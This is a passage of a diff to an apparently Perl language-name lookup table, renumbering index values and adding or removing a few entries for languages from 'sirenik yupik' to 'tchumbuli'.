       q(0),
       ],
    q(sirenik yupik) => [
-      q(7736),
+      q(7739),
       q(0),
       ],
    q(siri) => [
-      q(6037),
+      q(6038),
       q(0),
       ],
    q(siriano) => [
-      q(6206),
+      q(6205),
       q(0),
       ],
    q(siriono) => [
-      q(6211),
+      q(6210),
       q(0),
       ],
    q(sirmauri) => [
-      q(6217),
+      q(6216),
       q(0),
       ],
    q(siroi) => [
-      q(6222),
+      q(6221),
       q(0),
       ],
    q(sishee) => [
-      q(6029),
+      q(6030),
       q(1),
       ],
    q(sissala) => [
@@ -50765,39 +50811,39 @@
       q(0),
       ],
    q(sissano) => [
-      q(6233),
+      q(6232),
       q(0),
       ],
    q(siuslaw) => [
-      q(6038),
+      q(6039),
       q(0),
       ],
    q(sivandi) => [
-      q(6043),
+      q(6044),
       q(0),
       ],
    q(siwai) => [
-      q(6041),
+      q(6042),
       q(0),
       ],
    q(siwi) => [
-      q(6044),
+      q(6045),
       q(0),
       ],
    q(siwu) => [
-      q(0734),
+      q(0735),
       q(0),
       ],
    q(siyin chin) => [
-      q(1880),
+      q(1881),
       q(0),
       ],
    q(skagit) => [
-      q(6061),
+      q(6062),
       q(0),
       ],
    q(skalvian) => [
-      q(6288),
+      q(6287),
       q(0),
       ],
    q(skepi creole dutch) => [
@@ -50805,7 +50851,7 @@
       q(0),
       ],
    q(skolt sami) => [
-      q(0393),
+      q(0394),
       q(0),
       ],
    q(skou) => [
@@ -50813,31 +50859,31 @@
       q(0),
       ],
    q(slave (athapascan)) => [
-      q(0107),
+      q(0108),
       q(0),
       ],
    q(slavic languages) => [
-      q(0384),
+      q(0385),
       q(0),
       ],
    q(slavomolisano) => [
-      q(6286),
+      q(6285),
       q(0),
       ],
    q(slovak) => [
-      q(0385),
+      q(0386),
       q(0),
       ],
    q(slovakian sign language) => [
-      q(6285),
+      q(6284),
       q(0),
       ],
    q(slovenian) => [
-      q(0386),
+      q(0387),
       q(0),
       ],
    q(small flowery miao) => [
-      q(5978),
+      q(5979),
       q(0),
       ],
    q(smarky kanum) => [
@@ -50845,55 +50891,51 @@
       q(0),
       ],
    q(snohomish) => [
-      q(6136),
+      q(6135),
       q(0),
       ],
    q(so) => [
-      q(6237),
+      q(6236),
       q(0),
       ],
    q(so (democratic republic of congo)) => [
-      q(6149),
+      q(6148),
       q(0),
       ],
    q(so'a) => [
-      q(6235),
+      q(6234),
       q(0),
       ],
    q(sobei) => [
-      q(6148),
+      q(6147),
       q(0),
       ],
    q(sochiapam chinantec) => [
-      q(1873),
+      q(1874),
       q(0),
       ],
    q(sochiapan chinantec) => [
-      q(1873),
+      q(1874),
       q(1),
       ],
    q(soga) => [
-      q(7430),
+      q(7433),
       q(0),
       ],
    q(sogdian) => [
-      q(0397),
+      q(0398),
       q(0),
       ],
    q(soi) => [
-      q(6154),
+      q(6153),
       q(0),
       ],
-   q(sok) => [
-      q(6071),
-      q(0),
-      ],
    q(sokoro) => [
-      q(6155),
+      q(6154),
       q(0),
       ],
    q(solano) => [
-      q(7481),
+      q(7484),
       q(0),
       ],
    q(soli) => [
@@ -50900,12 +50942,16 @@
       q(5916),
       q(0),
       ],
+   q(solomon islands sign language) => [
+      q(6344),
+      q(0),
+      ],
    q(solong) => [
-      q(0556),
+      q(0557),
       q(0),
       ],
    q(solos) => [
-      q(6156),
+      q(6155),
       q(0),
       ],
    q(som) => [
@@ -50913,15 +50959,15 @@
       q(0),
       ],
    q(somali) => [
-      q(0398),
+      q(0399),
       q(0),
       ],
    q(somba-siawari) => [
-      q(1322),
+      q(1323),
       q(0),
       ],
    q(somrai) => [
-      q(6160),
+      q(6159),
       q(0),
       ],
    q(somray) => [
@@ -50929,55 +50975,55 @@
       q(0),
       ],
    q(somyev) => [
-      q(3323),
+      q(3324),
       q(0),
       ],
    q(sonaga) => [
-      q(7731),
+      q(7734),
       q(0),
       ],
    q(sonde) => [
-      q(6002),
+      q(6003),
       q(0),
       ],
    q(songe) => [
-      q(6158),
+      q(6157),
       q(0),
       ],
    q(songhai languages) => [
-      q(0399),
+      q(0400),
       q(0),
       ],
    q(songlai chin) => [
-      q(1868),
+      q(1869),
       q(0),
       ],
    q(songo) => [
-      q(6157),
+      q(6156),
       q(0),
       ],
    q(songomeno) => [
-      q(6151),
+      q(6150),
       q(0),
       ],
    q(songoora) => [
-      q(6150),
+      q(6149),
       q(0),
       ],
    q(sonha) => [
-      q(6153),
+      q(6152),
       q(0),
       ],
    q(sonia) => [
-      q(6036),
+      q(6037),
       q(0),
       ],
    q(soninke) => [
-      q(0396),
+      q(0397),
       q(0),
       ],
    q(sonsorol) => [
-      q(6163),
+      q(6162),
       q(0),
       ],
    q(soo) => [
@@ -50985,19 +51031,19 @@
       q(0),
       ],
    q(sop) => [
-      q(6928),
+      q(6929),
       q(0),
       ],
    q(soqotri) => [
-      q(6197),
+      q(6196),
       q(0),
       ],
    q(sora) => [
-      q(6200),
+      q(6199),
       q(0),
       ],
    q(sorbian languages) => [
-      q(0467),
+      q(0468),
       q(0),
       ],
    q(sori-harengan) => [
@@ -51005,19 +51051,19 @@
       q(0),
       ],
    q(sorkhei) => [
-      q(6193),
+      q(6192),
       q(0),
       ],
    q(sorothaptic) => [
-      q(6319),
+      q(6318),
       q(0),
       ],
    q(sorsogon ayta) => [
-      q(1007),
+      q(1008),
       q(0),
       ],
    q(sos kundi) => [
-      q(5941),
+      q(5942),
       q(0),
       ],
    q(sota kanum) => [
@@ -51025,11 +51071,11 @@
       q(0),
       ],
    q(sotho, southern) => [
-      q(0400),
+      q(0401),
       q(0),
       ],
    q(sou) => [
-      q(6194),
+      q(6193),
       q(0),
       ],
    q(sou nama) => [
@@ -51037,35 +51083,35 @@
       q(0),
       ],
    q(sou upaa) => [
-      q(7107),
+      q(7109),
       q(0),
       ],
    q(south african sign language) => [
-      q(5979),
+      q(5980),
       q(0),
       ],
    q(south american indian (other)) => [
-      q(0367),
+      q(0368),
       q(0),
       ],
    q(south american indian languages) => [
-      q(0367),
+      q(0368),
       q(1),
       ],
    q(south awyu) => [
-      q(0978),
+      q(0979),
       q(0),
       ],
    q(south azerbaijani) => [
-      q(1013),
+      q(1014),
       q(0),
       ],
    q(south bolivian quechua) => [
-      q(5674),
+      q(5676),
       q(0),
       ],
    q(south caucasian languages) => [
-      q(0496),
+      q(0497),
       q(0),
       ],
    q(south central banda) => [
@@ -51073,19 +51119,19 @@
       q(0),
       ],
    q(south central dinka) => [
-      q(2029),
+      q(2030),
       q(0),
       ],
    q(south efate) => [
-      q(2280),
+      q(2281),
       q(0),
       ],
    q(south fali) => [
-      q(2327),
+      q(2328),
       q(0),
       ],
    q(south giziga) => [
-      q(2526),
+      q(2528),
       q(0),
       ],
    q(south lembata) => [
@@ -51093,11 +51139,11 @@
       q(0),
       ],
    q(south levantine arabic) => [
-      q(0717),
+      q(0718),
       q(0),
       ],
    q(south marquesan) => [
-      q(4484),
+      q(4485),
       q(0),
       ],
    q(south muyu) => [
@@ -51105,39 +51151,39 @@
       q(0),
       ],
    q(south ndebele) => [
-      q(0303),
+      q(0304),
       q(1),
       ],
    q(south nuaulu) => [
-      q(5139),
+      q(5143),
       q(0),
       ],
    q(south picene) => [
-      q(6186),
+      q(6185),
       q(0),
       ],
    q(south slavey) => [
-      q(7478),
+      q(7481),
       q(0),
       ],
    q(south slavic languages) => [
-      q(0535),
+      q(0536),
       q(0),
       ],
    q(south tairora) => [
-      q(5256),
+      q(5260),
       q(0),
       ],
    q(south ucayali asheninka) => [
-      q(1836),
+      q(1837),
       q(0),
       ],
    q(south watut) => [
-      q(4168),
+      q(4169),
       q(0),
       ],
    q(south west bay) => [
-      q(6140),
+      q(6139),
       q(0),
       ],
    q(southeast ambrym) => [
@@ -51145,43 +51191,43 @@
       q(0),
       ],
    q(southeast babar) => [
-      q(6970),
+      q(6971),
       q(0),
       ],
    q(southeast ijo) => [
-      q(2932),
+      q(2935),
       q(0),
       ],
    q(southeast pashai) => [
-      q(5604),
+      q(5607),
       q(0),
       ],
    q(southeast pashayi) => [
-      q(5604),
+      q(5607),
       q(1),
       ],
    q(southeastern dinka) => [
-      q(2069),
+      q(2070),
       q(0),
       ],
    q(southeastern ixtlan zapotec) => [
-      q(7899),
+      q(7902),
       q(0),
       ],
    q(southeastern kolami) => [
-      q(4890),
+      q(4892),
       q(0),
       ],
    q(southeastern nochixtlan mixtec) => [
-      q(4663),
+      q(4664),
       q(0),
       ],
    q(southeastern pomo) => [
-      q(5553),
+      q(5557),
       q(0),
       ],
    q(southeastern puebla nahuatl) => [
-      q(5028),
+      q(5030),
       q(0),
       ],
    q(southeastern tarahumara) => [
@@ -51189,11 +51235,11 @@
       q(0),
       ],
    q(southeastern tepehuan) => [
-      q(6258),
+      q(6257),
       q(0),
       ],
    q(southern alta) => [
-      q(0675),
+      q(0676),
       q(0),
       ],
    q(southern altai) => [
@@ -51201,91 +51247,91 @@
       q(0),
       ],
    q(southern amami-oshima) => [
-      q(0782),
+      q(0783),
       q(0),
       ],
    q(southern aymara) => [
-      q(0994),
+      q(0995),
       q(0),
       ],
    q(southern bai) => [
-      q(1154),
+      q(1155),
       q(0),
       ],
    q(southern balochi) => [
-      q(1066),
+      q(1067),
       q(0),
       ],
    q(southern betsimisaraka malagasy) => [
-      q(1613),
+      q(1614),
       q(0),
       ],
    q(southern binukidnon) => [
-      q(4569),
+      q(4570),
       q(0),
       ],
    q(southern birifor) => [
-      q(1225),
+      q(1226),
       q(0),
       ],
    q(southern bobo madare) => [
-      q(1556),
+      q(1557),
       q(0),
       ],
    q(southern bontok) => [
-      q(5181),
+      q(5185),
       q(0),
       ],
    q(southern carrier) => [
-      q(1641),
+      q(1642),
       q(0),
       ],
    q(southern catanduanes bikol) => [
-      q(1290),
+      q(1291),
       q(0),
       ],
    q(southern conchucos ancash quechua) => [
-      q(5715),
+      q(5717),
       q(0),
       ],
    q(southern dagaare) => [
-      q(1997),
+      q(1998),
       q(0),
       ],
    q(southern dong) => [
-      q(3452),
+      q(3453),
       q(0),
       ],
    q(southern east cree) => [
-      q(1845),
+      q(1846),
       q(0),
       ],
    q(southern ghale) => [
-      q(2500),
+      q(2501),
       q(0),
       ],
    q(southern grebo) => [
-      q(2615),
+      q(2617),
       q(0),
       ],
    q(southern guiyang hmong) => [
-      q(2793),
+      q(2795),
       q(0),
       ],
    q(southern guiyang miao) => [
-      q(2793),
+      q(2795),
       q(1),
       ],
    q(southern haida) => [
-      q(2724),
+      q(2726),
       q(0),
       ],
    q(southern hindko) => [
-      q(2796),
+      q(2798),
       q(0),
       ],
    q(southern kalapuya) => [
-      q(6315),
+      q(6314),
       q(0),
       ],
    q(southern kalinga) => [
@@ -51292,96 +51338,100 @@
       q(3591),
       q(0),
       ],
+   q(southern katang) => [
+      q(5929),
+      q(0),
+      ],
    q(southern kisi) => [
       q(3607),
       q(0),
       ],
    q(southern kiwai) => [
-      q(3377),
+      q(3378),
       q(0),
       ],
    q(southern kurdish) => [
-      q(5939),
+      q(5940),
       q(0),
       ],
    q(southern lolopo) => [
-      q(7735),
+      q(7738),
       q(0),
       ],
    q(southern luri) => [
-      q(4084),
+      q(4085),
       q(0),
       ],
    q(southern ma'di) => [
-      q(6134),
+      q(6133),
       q(0),
       ],
    q(southern mashan hmong) => [
-      q(2772),
+      q(2774),
       q(0),
       ],
    q(southern mashan miao) => [
-      q(2772),
+      q(2774),
       q(1),
       ],
    q(southern mnong) => [
-      q(4418),
+      q(4419),
       q(0),
       ],
    q(southern muji) => [
-      q(7671),
+      q(7674),
       q(0),
       ],
    q(southern nago) => [
-      q(5034),
+      q(5037),
       q(0),
       ],
    q(southern nambikuara) => [
-      q(4712),
+      q(4713),
       q(0),
       ],
    q(southern ngbandi) => [
-      q(4751),
+      q(4752),
       q(0),
       ],
    q(southern nicobarese) => [
-      q(4882),
+      q(4884),
       q(0),
       ],
    q(southern nisu) => [
-      q(5059),
+      q(5063),
       q(0),
       ],
    q(southern nuni) => [
-      q(5000),
+      q(5002),
       q(0),
       ],
    q(southern ohlone) => [
-      q(1876),
+      q(1877),
       q(0),
       ],
    q(southern one) => [
-      q(5306),
+      q(5310),
       q(0),
       ],
    q(southern pame) => [
-      q(5521),
+      q(5525),
       q(0),
       ],
    q(southern pashto) => [
-      q(5369),
+      q(5373),
       q(0),
       ],
    q(southern pastaza quechua) => [
-      q(5680),
+      q(5682),
       q(0),
       ],
    q(southern pomo) => [
-      q(5409),
+      q(5413),
       q(0),
       ],
    q(southern puebla mixtec) => [
-      q(4306),
+      q(4307),
       q(0),
       ],
    q(southern puget sound salish) => [
@@ -51389,35 +51439,35 @@
       q(0),
       ],
    q(southern pumi) => [
-      q(5508),
+      q(5512),
       q(0),
       ],
    q(southern qiandong miao) => [
-      q(2788),
+      q(2790),
       q(0),
       ],
    q(southern qiang) => [
-      q(5719),
+      q(5721),
       q(0),
       ],
    q(southern rengma naga) => [
-      q(5043),
+      q(5047),
       q(0),
       ],
    q(southern rincon zapotec) => [
-      q(7933),
+      q(7936),
       q(0),
       ],
    q(southern roglai) => [
-      q(5771),
+      q(5773),
       q(0),
       ],
    q(southern sama) => [
-      q(6220),
+      q(6219),
       q(0),
       ],
    q(southern sami) => [
-      q(0387),
+      q(0388),
       q(0),
       ],
    q(southern samo) => [
@@ -51425,15 +51475,15 @@
       q(0),
       ],
    q(southern sierra miwok) => [
-      q(6064),
+      q(6065),
       q(0),
       ],
    q(southern sorsoganon) => [
-      q(6215),
+      q(6214),
       q(0),
       ],
    q(southern sotho) => [
-      q(0400),
+      q(0401),
       q(1),
       ],
    q(southern subanen) => [
@@ -51441,11 +51491,11 @@
       q(0),
       ],
    q(southern thai) => [
-      q(6162),
+      q(6161),
       q(0),
       ],
    q(southern tidung) => [
-      q(3006),
+      q(3009),
       q(0),
       ],
    q(southern tiwa) => [
@@ -51453,7 +51503,7 @@
       q(0),
       ],
    q(southern toussian) => [
-      q(7111),
+      q(7113),
       q(0),
       ],
    q(southern tujia) => [
@@ -51465,7 +51515,7 @@
       q(0),
       ],
    q(southern uzbek) => [
-      q(6953),
+      q(6954),
       q(0),
       ],
    q(southern yamphu) => [
@@ -51473,55 +51523,55 @@
       q(0),
       ],
    q(southern yukaghir) => [
-      q(7762),
+      q(7765),
       q(0),
       ],
    q(southwest gbaya) => [
-      q(2633),
+      q(2635),
       q(0),
       ],
    q(southwest palawano) => [
-      q(5497),
+      q(5501),
       q(0),
       ],
    q(southwest pashai) => [
-      q(5603),
+      q(5606),
       q(0),
       ],
    q(southwest pashayi) => [
-      q(5603),
+      q(5606),
       q(1),
       ],
    q(southwest tanna) => [
-      q(5127),
+      q(5131),
       q(0),
       ],
    q(southwestern bontok) => [
-      q(6971),
+      q(6972),
       q(0),
       ],
    q(southwestern dinka) => [
-      q(2037),
+      q(2038),
       q(0),
       ],
    q(southwestern fars) => [
-      q(2333),
+      q(2334),
       q(0),
       ],
    q(southwestern guiyang hmong) => [
-      q(2778),
+      q(2780),
       q(0),
       ],
    q(southwestern huishui hmong) => [
-      q(2779),
+      q(2781),
       q(0),
       ],
    q(southwestern huishui miao) => [
-      q(2779),
+      q(2781),
       q(1),
       ],
    q(southwestern nisu) => [
-      q(5075),
+      q(5079),
       q(0),
       ],
    q(southwestern tarahumara) => [
@@ -51533,51 +51583,51 @@
       q(0),
       ],
    q(southwestern tlaxiaco mixtec) => [
-      q(4199),
+      q(4200),
       q(0),
       ],
    q(sowa) => [
-      q(6308),
+      q(6307),
       q(0),
       ],
    q(sowanda) => [
-      q(6164),
+      q(6163),
       q(0),
       ],
    q(sowari) => [
-      q(2091),
+      q(2092),
       q(1),
       ],
    q(soyaltepec mazatec) => [
-      q(7015),
+      q(7016),
       q(0),
       ],
    q(soyaltepec mixtec) => [
-      q(7016),
+      q(7017),
       q(0),
       ],
    q(spanish) => [
-      q(0401),
+      q(0402),
       q(0),
       ],
    q(spanish sign language) => [
-      q(6234),
+      q(6233),
       q(0),
       ],
    q(spiti bhoti) => [
-      q(6183),
+      q(6182),
       q(0),
       ],
    q(spokane) => [
-      q(6178),
+      q(6177),
       q(0),
       ],
    q(squamish) => [
-      q(6198),
+      q(6197),
       q(0),
       ],
    q(sranan tongo) => [
-      q(0403),
+      q(0404),
       q(0),
       ],
    q(sri lankan creole malay) => [
@@ -51585,31 +51635,31 @@
       q(0),
       ],
    q(sri lankan sign language) => [
-      q(6196),
+      q(6195),
       q(0),
       ],
    q(standard arabic) => [
-      q(0868),
+      q(0869),
       q(0),
       ],
    q(standard estonian) => [
-      q(2231),
+      q(2232),
       q(0),
       ],
    q(standard latvian) => [
-      q(4087),
+      q(4088),
       q(0),
       ],
    q(standard malay) => [
-      q(7932),
+      q(7935),
       q(0),
       ],
    q(standard moroccan tamazight) => [
-      q(0480),
+      q(0481),
       q(0),
       ],
    q(stellingwerfs) => [
-      q(6254),
+      q(6253),
       q(0),
       ],
    q(stod bhoti) => [
@@ -51617,35 +51667,35 @@
       q(0),
       ],
    q(stodsde) => [
-      q(3093),
+      q(3095),
       q(0),
       ],
    q(stoney) => [
-      q(6257),
+      q(6256),
       q(0),
       ],
    q(straits salish) => [
-      q(6260),
+      q(6259),
       q(0),
       ],
    q(suabo) => [
-      q(6344),
+      q(6343),
       q(0),
       ],
    q(suarmin) => [
-      q(5965),
+      q(5966),
       q(0),
       ],
    q(suau) => [
-      q(6301),
+      q(6300),
       q(0),
       ],
    q(suba) => [
-      q(6311),
+      q(6310),
       q(0),
       ],
    q(suba-simbiti) => [
-      q(6221),
+      q(6220),
       q(0),
       ],
    q(subiya) => [
@@ -51653,15 +51703,15 @@
       q(0),
       ],
    q(subtiaba) => [
-      q(6276),
+      q(6275),
       q(0),
       ],
    q(sudanese arabic) => [
-      q(0836),
+      q(0837),
       q(0),
       ],
    q(sudanese creole arabic) => [
-      q(5418),
+      q(5422),
       q(0),
       ],
    q(sudest) => [
@@ -51669,19 +51719,19 @@
       q(0),
       ],
    q(sudovian) => [
-      q(7487),
+      q(7490),
       q(0),
       ],
    q(suena) => [
-      q(6270),
+      q(6269),
       q(0),
       ],
    q(suga) => [
-      q(5987),
+      q(5988),
       q(0),
       ],
    q(suganga) => [
-      q(6271),
+      q(6270),
       q(0),
       ],
    q(sugut dusun) => [
@@ -51689,51 +51739,51 @@
       q(0),
       ],
    q(sui) => [
-      q(6294),
+      q(6293),
       q(0),
       ],
    q(suki) => [
-      q(6272),
+      q(6271),
       q(0),
       ],
    q(suku) => [
-      q(6268),
+      q(6267),
       q(0),
       ],
    q(sukuma) => [
-      q(0408),
+      q(0409),
       q(0),
       ],
    q(sukur) => [
-      q(6327),
+      q(6326),
       q(0),
       ],
    q(sukurum) => [
-      q(7934),
+      q(7937),
       q(0),
       ],
    q(sula) => [
-      q(6343),
+      q(6342),
       q(0),
       ],
    q(sulka) => [
-      q(6267),
+      q(6266),
       q(0),
       ],
    q(sulod) => [
-      q(6204),
+      q(6203),
       q(0),
       ],
    q(suma) => [
-      q(6191),
+      q(6190),
       q(0),
       ],
    q(sumariup) => [
-      q(6040),
+      q(6041),
       q(0),
       ],
    q(sumau) => [
-      q(6042),
+      q(6043),
       q(0),
       ],
    q(sumbawa) => [
@@ -51741,47 +51791,47 @@
       q(0),
       ],
    q(sumbwa) => [
-      q(6278),
+      q(6277),
       q(0),
       ],
    q(sumerian) => [
-      q(0411),
+      q(0412),
       q(0),
       ],
    q(sumi naga) => [
-      q(5067),
+      q(5071),
       q(0),
       ],
    q(sumtu chin) => [
-      q(1878),
+      q(1879),
       q(0),
       ],
    q(sunam) => [
-      q(6229),
+      q(6228),
       q(0),
       ],
    q(sundanese) => [
-      q(0409),
+      q(0410),
       q(0),
       ],
    q(sunum) => [
-      q(7680),
+      q(7683),
       q(1),
       ],
    q(sunwar) => [
-      q(6280),
+      q(6279),
       q(0),
       ],
    q(suomenruotsalainen viittomakieli) => [
-      q(2376),
+      q(2377),
       q(2),
       ],
    q(suoy) => [
-      q(6331),
+      q(6330),
       q(0),
       ],
    q(supyire senoufo) => [
-      q(6179),
+      q(6178),
       q(0),
       ],
    q(sur) => [
@@ -51797,111 +51847,111 @@
       q(0),
       ],
    q(surgujia) => [
-      q(5988),
+      q(5989),
       q(0),
       ],
    q(suri) => [
-      q(6274),
+      q(6273),
       q(0),
       ],
    q(surigaonon) => [
-      q(5983),
+      q(5984),
       q(0),
       ],
    q(surjapuri) => [
-      q(6055),
+      q(6056),
       q(0),
       ],
    q(sursurunga) => [
-      q(5999),
+      q(6000),
       q(0),
       ],
    q(suruaha) => [
-      q(6309),
+      q(6308),
       q(0),
       ],
    q(surubu) => [
-      q(5936),
+      q(5937),
       q(0),
       ],
    q(surui) => [
-      q(6214),
+      q(6213),
       q(0),
       ],
    q(surui do para) => [
-      q(4192),
+      q(4193),
       q(0),
       ],
    q(susquehannock) => [
-      q(6192),
+      q(6191),
       q(0),
       ],
    q(susu) => [
-      q(0410),
+      q(0411),
       q(0),
       ],
    q(susuami) => [
-      q(6239),
+      q(6238),
       q(0),
       ],
    q(suundi) => [
-      q(5940),
+      q(5941),
       q(0),
       ],
    q(suwawa) => [
-      q(6306),
+      q(6305),
       q(0),
       ],
    q(suya) => [
-      q(6279),
+      q(6278),
       q(0),
       ],
    q(svan) => [
-      q(6281),
+      q(6280),
       q(0),
       ],
    q(swabian) => [
-      q(6292),
+      q(6291),
       q(0),
       ],
    q(swahili) => [
-      q(0412),
+      q(0413),
       q(0),
       ],
    q(swahili (individual language)) => [
-      q(6293),
+      q(6292),
       q(0),
       ],
    q(swahili (macrolanguage)) => [
-      q(0412),
+      q(0413),
       q(1),
       ],
    q(swampy cree) => [
-      q(1879),
+      q(1880),
       q(0),
       ],
    q(swati) => [
-      q(0407),
+      q(0408),
       q(0),
       ],
    q(swedish) => [
-      q(0413),
+      q(0414),
       q(0),
       ],
    q(swedish sign language) => [
-      q(6297),
+      q(6296),
       q(0),
       ],
    q(swiss german) => [
-      q(0166),
+      q(0167),
       q(0),
       ],
    q(swiss-french sign language) => [
-      q(6236),
+      q(6235),
       q(0),
       ],
    q(swiss-german sign language) => [
-      q(5985),
+      q(5986),
       q(0),
       ],
    q(swiss-italian sign language) => [
@@ -51909,27 +51959,31 @@
       q(0),
       ],
    q(swo) => [
-      q(6165),
+      q(6164),
       q(0),
       ],
    q(syenara senoufo) => [
-      q(6023),
+      q(6024),
       q(0),
       ],
    q(sylheti) => [
-      q(6328),
+      q(6327),
       q(0),
       ],
    q(syriac) => [
-      q(0415),
+      q(0416),
       q(0),
       ],
+   q(t'apo) => [
+      q(3885),
+      q(0),
+      ],
    q(t'en) => [
       q(6411),
       q(0),
       ],
    q(ta'izzi-adeni arabic) => [
-      q(0594),
+      q(0595),
       q(0),
       ],
    q(taabwa) => [
@@ -51937,7 +51991,7 @@
       q(0),
       ],
    q(tabaa zapotec) => [
-      q(7804),
+      q(7807),
       q(0),
       ],
    q(tabaru) => [
@@ -51945,15 +51999,15 @@
       q(0),
       ],
    q(tabasco chontal) => [
-      q(1717),
+      q(1718),
       q(0),
       ],
    q(tabasco nahuatl) => [
-      q(4853),
+      q(4855),
       q(0),
       ],
    q(tabasco zoque) => [
-      q(7893),
+      q(7896),
       q(0),
       ],
    q(tabassaran) => [
@@ -51965,7 +52019,7 @@
       q(0),
       ],
    q(tabo) => [
-      q(3496),
+      q(3497),
       q(0),
       ],
    q(tabriak) => [
@@ -51973,7 +52027,7 @@
       q(0),
       ],
    q(tacahua mixtec) => [
-      q(7506),
+      q(7509),
       q(0),
       ],
    q(tacana) => [
@@ -51981,27 +52035,31 @@
       q(0),
       ],
    q(tachawit) => [
-      q(6022),
+      q(6023),
       q(0),
       ],
    q(tachelhit) => [
-      q(6007),
+      q(6008),
       q(0),
       ],
    q(tachoni) => [
-      q(4066),
+      q(4067),
       q(0),
       ],
    q(tadaksahak) => [
-      q(2148),
+      q(2149),
       q(0),
       ],
+   q(tado) => [
+      q(3448),
+      q(0),
+      ],
    q(tadyawan) => [
       q(6438),
       q(0),
       ],
    q(tae') => [
-      q(5825),
+      q(5826),
       q(0),
       ],
    q(tafi) => [
@@ -52009,15 +52067,15 @@
       q(0),
       ],
    q(tagabawa) => [
-      q(1177),
+      q(1178),
       q(0),
       ],
    q(tagakaulo) => [
-      q(3431),
+      q(3432),
       q(0),
       ],
    q(tagal murut) => [
-      q(4612),
+      q(4613),
       q(0),
       ],
    q(tagalaka) => [
@@ -52025,11 +52083,11 @@
       q(0),
       ],
    q(tagalog) => [
-      q(0425),
+      q(0426),
       q(0),
       ],
    q(tagargrent) => [
-      q(5325),
+      q(5329),
       q(0),
       ],
    q(tagbanwa) => [
@@ -52065,7 +52123,7 @@
       q(0),
       ],
    q(tahitian) => [
-      q(0416),
+      q(0417),
       q(0),
       ],
    q(tahltan) => [
@@ -52081,7 +52139,7 @@
       q(0),
       ],
    q(tai dam) => [
-      q(1296),
+      q(1297),
       q(0),
       ],
    q(tai do) => [
@@ -52101,7 +52159,7 @@
       q(0),
       ],
    q(tai languages) => [
-      q(0417),
+      q(0418),
       q(0),
       ],
    q(tai loi) => [
@@ -52125,7 +52183,7 @@
       q(0),
       ],
    q(tai ya) => [
-      q(1911),
+      q(1912),
       q(0),
       ],
    q(tai yo) => [
@@ -52133,15 +52191,15 @@
       q(1),
       ],
    q(taiap) => [
-      q(2604),
+      q(2606),
       q(0),
       ],
    q(taikat) => [
-      q(0829),
+      q(0830),
       q(0),
       ],
    q(tainae) => [
-      q(0666),
+      q(0667),
       q(0),
       ],
    q(taino) => [
@@ -52149,7 +52207,7 @@
       q(0),
       ],
    q(tairaha) => [
-      q(1565),
+      q(1566),
       q(0),
       ],
    q(tairuma) => [
@@ -52157,7 +52215,7 @@
       q(0),
       ],
    q(taita) => [
-      q(1945),
+      q(1946),
       q(0),
       ],
    q(taiwan sign language) => [
@@ -52165,15 +52223,15 @@
       q(0),
       ],
    q(taje) => [
-      q(5399),
+      q(5403),
       q(0),
       ],
    q(tajik) => [
-      q(0424),
+      q(0425),
       q(0),
       ],
    q(tajiki arabic) => [
-      q(0566),
+      q(0567),
       q(0),
       ],
    q(tajio) => [
@@ -52201,7 +52259,7 @@
       q(0),
       ],
    q(takuu) => [
-      q(4863),
+      q(4865),
       q(0),
       ],
    q(takwane) => [
@@ -52217,7 +52275,7 @@
       q(0),
       ],
    q(talaandig) => [
-      q(1256),
+      q(1257),
       q(1),
       ],
    q(talaud) => [
@@ -52257,7 +52315,7 @@
       q(0),
       ],
    q(talu) => [
-      q(7739),
+      q(7742),
       q(0),
       ],
    q(talysh) => [
@@ -52289,7 +52347,7 @@
       q(0),
       ],
    q(tamashek) => [
-      q(0434),
+      q(0435),
       q(0),
       ],
    q(tamasheq) => [
@@ -52297,7 +52355,7 @@
       q(0),
       ],
    q(tamazola mixtec) => [
-      q(7022),
+      q(7023),
       q(0),
       ],
    q(tambas) => [
@@ -52305,7 +52363,7 @@
       q(0),
       ],
    q(tambora) => [
-      q(7546),
+      q(7549),
       q(0),
       ],
    q(tambotalo) => [
@@ -52317,7 +52375,7 @@
       q(0),
       ],
    q(tamil) => [
-      q(0418),
+      q(0419),
       q(0),
       ],
    q(tamki) => [
@@ -52385,11 +52443,11 @@
       q(0),
       ],
    q(tangkhul naga (india)) => [
-      q(4958),
+      q(4960),
       q(0),
       ],
    q(tangkhul naga (myanmar)) => [
-      q(5092),
+      q(5096),
       q(0),
       ],
    q(tangko) => [
@@ -52397,7 +52455,7 @@
       q(0),
       ],
    q(tanglang) => [
-      q(7740),
+      q(7743),
       q(0),
       ],
    q(tangoa) => [
@@ -52425,7 +52483,7 @@
       q(0),
       ],
    q(tankarana malagasy) => [
-      q(7409),
+      q(7412),
       q(1),
       ],
    q(tanosy malagasy) => [
@@ -52433,7 +52491,7 @@
       q(0),
       ],
    q(tanudan kalinga) => [
-      q(3461),
+      q(3462),
       q(0),
       ],
    q(tanzanian sign language) => [
@@ -52445,7 +52503,7 @@
       q(0),
       ],
    q(tapei) => [
-      q(0647),
+      q(0648),
       q(0),
       ],
    q(tapiete) => [
@@ -52469,7 +52527,7 @@
       q(0),
       ],
    q(tarifit) => [
-      q(5777),
+      q(5778),
       q(0),
       ],
    q(tarjumo) => [
@@ -52477,7 +52535,7 @@
       q(0),
       ],
    q(tarok) => [
-      q(7609),
+      q(7612),
       q(0),
       ],
    q(taroko) => [
@@ -52501,11 +52559,11 @@
       q(0),
       ],
    q(tase naga) => [
-      q(5073),
+      q(5077),
       q(0),
       ],
    q(tasmanian) => [
-      q(7511),
+      q(7514),
       q(0),
       ],
    q(tasmate) => [
@@ -52513,7 +52571,7 @@
       q(0),
       ],
    q(tataltepec chatino) => [
-      q(1882),
+      q(1883),
       q(0),
       ],
    q(tatana) => [
@@ -52521,7 +52579,7 @@
       q(0),
       ],
    q(tatar) => [
-      q(0419),
+      q(0420),
       q(0),
       ],
    q(tatuyo) => [
@@ -52569,7 +52627,7 @@
       q(0),
       ],
    q(tavringer romani) => [
-      q(5812),
+      q(5813),
       q(0),
       ],
    q(tawala) => [
@@ -52581,7 +52639,7 @@
       q(0),
       ],
    q(tawande) => [
-      q(7509),
+      q(7512),
       q(0),
       ],
    q(tawang monpa) => [
@@ -52625,7 +52683,7 @@
       q(0),
       ],
    q(tayabas ayta) => [
-      q(1010),
+      q(1011),
       q(0),
       ],
    q(tayart tamajeq) => [
@@ -52633,11 +52691,11 @@
       q(0),
       ],
    q(tayo) => [
-      q(1758),
+      q(1759),
       q(0),
       ],
    q(taznatit) => [
-      q(2619),
+      q(2621),
       q(0),
       ],
    q(tboli) => [
@@ -52649,7 +52707,7 @@
       q(0),
       ],
    q(tchumbuli) => [
-      q(1397),
+      q(1398),
       q(0),
       ],
    q(te'un) => [
